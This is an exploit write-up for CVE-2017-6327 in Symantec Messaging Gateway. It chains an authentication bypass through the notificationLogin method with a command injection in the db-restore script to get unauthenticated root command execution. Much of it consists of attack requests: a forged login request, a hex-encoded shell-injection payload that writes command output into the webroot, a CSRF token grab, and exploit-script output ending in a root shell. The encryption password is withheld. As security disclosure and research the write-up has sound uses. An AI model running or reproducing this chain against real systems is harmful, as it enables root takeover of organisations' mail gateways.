Symantec Messaging Gateway <= 10.6.3-2 unauthenticated root RCE(CVE-2017-6327)

Bug #1: Web authentication bypass

The web management interface is available via HTTPS, and you can’t do much
without logging in.

If the current session (identified by the JSESSIONID cookie) has the
user attribute set, the session is considered authenticated.

The file LoginAction.class defines a number of public methods and they can
all be reached via unauthenticated web requests.

By making a GET request to /brightmail/action1.do?method=method_name we
can execute LoginAction.method_name if method_name is a public method.

One such public method which will be the target of our authentication
bypass is called LoginAction.notificationLogin.

It does the following:

1. Decrypt the notify parameter using BrightmailDecrypt.decrypt
2. Creates a new UserTO object using the decrypted notify parameter as
   an email value
3. Creates a new session, invalidating the old one if necessary
4. Sets the user attribute of the newly created session to our
   constructed UserTO object

It essentially takes a username value from a GET parameter and logs you in
as this user if it exists. If not, it creates this user for you.

We need to encrypt our notify argument so that
BrightmailDecrypt.decrypt will decrypt it properly. Fortunately the
encryption is just PBEWithMD5AndDES using a static password, conveniently
included in the code itself. I won’t include the encryption password or a
fully encrypted notify string in this post.

Example request:

GET
/brightmail/action1.do?method=notificationLogin&notify=MTIzNDU2Nzg%3d6[...]&id=test
HTTP/1.1
...


HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
...
Set-Cookie: JSESSIONID=9E45E9F70FAC0AADAC9EB7A03532F65D; Path=/brightmail;
Secure; HttpOnly

Bug #2: Command injection

The RestoreAction.performRestore method can be reached with an
authenticated session and it takes the restoreSource and
localBackupFilename parameters.

After a long chain of function calls, localBackupFilename ends up being
sent to the local “bmagent” daemon listening on port 41002. It will execute
/opt/Symantec/Brightmail/cli/bin/db-restore with argv[1] being our supplied
value.

The db-restore script is a sudo wrapper for
/opt/Symantec/Brightmail/cli/sbin/db-restore, which in turn is a perl
script containing a command injection in a call to /usr/bin/du.

$ /opt/Symantec/Brightmail/cli/bin/db-restore 'asdf;"`id`";'
/usr/bin/du: cannot access `/data/backups/asdf': No such file or directory
sh: uid=0(root) gid=0(root) groups=0(root): command not found
ERROR: Failed to copy 'asdf;"`id`";' from local backup store: No such file
or directory

This command injection can be exploited from the web management interface
with a valid session, which we can create using bug #1.

Combining bug #1 and #2

The last step is to get a CSRF token since the vulnerable performRestore
function is annotated with @CSRF.

After some quick digging it turns out that all you need to do is call
/brightmail/common.jsp to get a token that will be valid for all your
requests.

The URL-encoded value we provide for the localBackupFileSelection
parameter is:
asdfid>/data/bcc/webapps/brightmail/output.txt;/bin/uname -a>>/data/bcc/webapps/brightmail/output.txthehehe

Request:

GET
/brightmail/admin/restore/action5.do?method=performRestore&symantec.brightmail.key.TOKEN=bbda9b0a52bca4a43cc2b6051cd6b95900068cd3&restoreSource=APPLIANCE&localBackupFileSelection=%61%73%64%66%60%69%64%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%3b%2f%62%69%6e%2f%75%6e%61%6d%65%20%2d%61%3e%3e%2f%64%61%74%61%2f%62%63%63%2f%77%65%62%61%70%70%73%2f%62%72%69%67%68%74%6d%61%69%6c%2f%6f%75%74%70%75%74%2e%74%78%74%60%68%65%68%65%68%65
HTTP/1.1
Host: 192.168.205.220
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=34D61B34698831DB765A9DD5E0049D0B
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store,no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
Content-Length: 803
Date: Thu, 29 Jun 2017 06:48:12 GMT
Connection: close

<HTML>
<title>Symantec Messaging Gateway - Restore</title>
...

Now to confirm that our command output was correctly placed in a file
inside the webroot.

imac:~% curl -k https://192.168.205.220/brightmail/output.txt
uid=0(root) gid=0(root) groups=0(root)
Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13
22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

EXPLOIT OUTPUT

imac:~/brightmail% python brightmail-rce.py
https://192.168.205.220/brightmail
bypassing login..
* JSESSIONID=693079639299816F80016123BE8A0167
verifying login bypass..
* Version: 10.6.3
getting csrf token..
* 1e35af8c567d3448a65c8516a835cec30b6b8b73
done, verifying..

uid=501(bcc) gid=99(nobody) euid=0(root) egid=0(root)
groups=0(root),99(nobody),499(mysql),502(bcc)
Linux localhost.localdomain 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13
22:55:16 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux


# cat /etc/issue

Symantec Messaging Gateway
Version 10.6.3-2
Copyright (c) 1998-2017 Symantec Corporation.  All rights reserved.